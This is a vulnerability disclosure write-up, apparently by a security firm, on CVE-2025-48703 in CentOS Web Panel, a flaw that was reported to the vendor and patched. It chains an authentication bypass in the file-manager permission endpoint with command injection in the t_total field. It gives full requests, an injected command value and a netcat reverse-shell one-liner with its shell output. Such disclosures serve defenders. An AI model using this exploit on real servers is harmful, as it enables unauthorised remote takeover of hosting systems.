![]() |
Remote code execution in CentOS Web Panel - CVE-2025-48703 |
Centos Web Panel (CWP) is a free web hosting control panel used to manage servers based on Centos and other RPM based distributions. CWP was first introduced in 2013 as a free, open-source web hosting control panel designed to simplify server management for CentOS-based systems. Developed by a small team led by the CWP project, it aimed to provide an alternative to commercial control panels like cPanel and Plesk, which required costly licenses. The initial focus was on creating a lightweight, user-friendly interface for managing web servers, email, DNS, and databases on Dedicated and VPS servers running CentOS, a popular Linux distribution known for its stability and compatibility with Red Hat Enterprise Linux (RHEL). A paid version with advanced features appeared in 2019, with enhanced security features. Finally, between 2022 and 2024, extra Linux distributions support like AlmaLinux and Rocky Linux were added to the software.
CWP provides administrators and users with a way to easily configure and manage essential services such as web servers (Apache/NGINX), databases (MySQL/MariaDB), email systems (Postfix, Dovecot, RoundCube), DNS (Bind), and security features (CSF, Mod Security). Using a graphical interface, CWP simplifies website creation, application installation (e.g., WordPress, Joomla), user management, and performance monitoring, offering a cost-effective and powerful alternative to paid solutions like cPanel.
In CentOS Web Panel (CWP), the admin interface (accessible on port 2087 or 2031) and the user interface (accessible on port 2083) serve distinct roles in server management. There are both PHP based applications but the admin interface, secured by HTTPS on port 2087, is designed for system administrators and provides full control over the server, allowing tasks such as configuring web servers (Apache/NGINX), managing DNS, setting up email services, creating user accounts, monitoring resources, and implementing security measures like Config Server Firewall (CSF). It requires root or admin credentials for access.
In contrast, the user interface on port 2083 is intended for end-users (e.g., website owners) and offers a restricted set of tools to manage their specific hosting environment, including website files, databases, email accounts, and application installations via Softaculous, without access to server-wide settings. Both interfaces, powered by the CWP daemon (cwpsrv), ensure secure and role-based management through SSL/TLS encryption and user-specific permissions.
CWP also provides an instance of roundcube, on port 2096, to manage users' emails.
This website management solution is used all over the world. Instances of CWP application can be found using shodan.io with the search pattern Server: cwpsrv. In May 2025, more than 200 000 CWP instances were referenced in shodan.io.
The source code of CWP is protected by ionCube. IonCube is a PHP encryption and licensing tool designed to secure and optimize PHP-based applications. It serves primarily to protect proprietary PHP code by encoding scripts, making them unreadable and tamper-proof while allowing them to run efficiently on servers equipped with the ionCube Loader extension. This enables developers to distribute commercial software without exposing their source code, ensuring intellectual property protection. The use of this protection drastically restricts the methods available for finding vulnerabilities in CWP.
The user panel provides file management feature. Users are able to upload, move, copy or compress files. They are also able to change files permissions using the following form:
This form generates the following HTTP POST request:
POST /cwp_30776ec647a8f390/myuser/myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Cookie: cwpsrv-3683e20446a6b40715757e2b05f10521=av0ebj5m5arro35vndm24lufhp; _firstImpression=true; cwpsrv-User-7b897959c0572726e032b381da363f2f=q8aefhfb7dq44m30gorb6a4k5f; cwp-well-known=6a28d0ddbd2d807d5aa015636f065b89
Content-Length: 450
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1:2083/cwp_30776ec647a8f390/myuser/fileManager_v2.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"
.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"
/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"
644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–
This request identifies the user (myuser) with HTTP Cookies (cwpsrv-*) and using the URL parameter: POST /cwp_30776ec647a8f390/myuser/myuser/index.php?module=filemanager&acc=changePerm
Once the request is received, the server calls the chmod system command. The file pointed by the parameter fileName must exist in currentPath, and the currentPath needs to be in /home/ directory (for instance, /home/myuser/.bashrc). The strace output is:
[...]
13849 14:21:08.880573 execve("/bin/sh", ["sh", "-c", "chmod 644 \"/home/myuser/.bashrc\""], ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "TEMP=/tmp", "TMPDIR=/tmp", "TMP=/tmp", "HOSTNAME=", "USER=myuser", "HOME=/home/myuser"]) = 0 <0.000222>
13849 14:21:08.887956 execve("/usr/bin/chmod", ["chmod", "644", "/home/myuser/.bashrc"], ["HOSTNAME=", "TMPDIR=/tmp", "USER=myuser", "TEMP=/tmp", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "PWD=/usr/local/cwpsrv/var/services/users", "SHLVL=1", "HOME=/home/myuser", "TMP=/tmp", "\_=/usr/bin/chmod"]) = 0 <0.000098>
[...]
The first issue arises from the fact that authentication is not properly verified. Sending a request without any user identifier will generate the same behavior on the server. For instance, it's possible to remove the user Identifier from the URL and still get the request being processed:
POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Content-Length: 450
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"
.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"
/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"
644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–
The attacker needs to know a valid non-root username (created into the admin interface). This request can be generated using the following command:
$ curl -kis 'https://127.0.0.1:2083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc¤tPath=/home/myuser/&t_total=644'
The second issue is a command injection in t_total parameter. It seems that t_total parameter, which is used as a file permission mode in chmod system command, is not properly sanitized and allows an attacker to inject arbitrary commands.
Then, using the previous issue, an unauthenticated attacker is able to bypass authentication process and trigger a command injection in the application using the following request:
POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Content-Length: 450
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"
.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"
/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"
$(arbitrary_command)
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–
Finally, an attacker can exploit the vulnerability using, for example, the following commands:
Setting up a listening port on a controlled server:
$ nc -v -n -l -p 9999
Listening on 0.0.0.0 9999
Launching the exploit:
$ curl -kis 'https://127.0.0.1:52083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc¤tPath=/home/myuser&t_total=`nc 1.2.3.4 9999 -e /bin/bash`'
Waiting the application to connect back:
$ nc -v -n -l -p 9999
Listening on 0.0.0.0 9999
Connection received on 5.6.7.8 43520
id
uid=1001(myuser) gid=1001(myuser) groups=1001(myuser)
ls -lah
total 728K
drwxr-xr-x. 7 cwpsvc cwpsvc 238 May 3 11:11 .
drwxr-xr-x. 14 cwpsvc cwpsvc 220 May 3 11:11 ..
-rw-r--r-- 1 root root 12K Jul 8 2020 Authenticator.php
-rw-r--r-- 1 root root 41K Sep 28 2021 codeEditor.php
-rw-r--r-- 1 root root 9.7K Jul 8 2020 configmailclient
drwxr-xr-x. 2 cwpsvc cwpsvc 6 Mar 22 2021 cwp_branding
drwxr-xr-x. 35 cwpsvc cwpsvc 4.0K Feb 10 22:13 cwp_lang
drwxr-xr-x. 3 cwpsvc cwpsvc 22 Feb 10 22:13 cwp_theme
-rw-r--r-- 1 root root 542K Mar 16 2023 fileManager2.php
-rw-r--r-- 1 root root 90K Oct 19 2022 fileManager_v2.php
-rw-r--r-- 1 root root 17K Jun 7 2023 index.php
drwxr-xr-x. 3 cwpsvc cwpsvc 77 May 3 11:11 login
drwxr-xr-x. 2 cwpsvc cwpsvc 26 May 3 11:11 traits
lrwxrwxrwx. 1 root root 36 Feb 11 09:06 myuser -> /usr/local/cwpsrv/var/services/users
This exploitation scenario has been tested on versions 0.9.8.1204 and 0.9.8.1188 on Centos7 and reported to CWP developers the 13th of May 2025 as CVE-2025-48703. It allows a remote attacker who knows a valid username on a CWP instance to execute pre-authenticated arbitrary commands on the server.
The vulnerability has been patched on latest version 0.9.8.1205 during June 2025.
Maxime Rinaudo est le co-fondateur de Fenrisk ainsi que l'un de ses experts en sécurité. Il est également passionné par la sécurité des applications web. Après avoir travaillé dix années au sein du Ministère des armées et 3 ans en tant que consultant à Paris, Maxime à décidé de rejoindre Julien dans son aventure afin de partager leur vision de la sécurité offensive.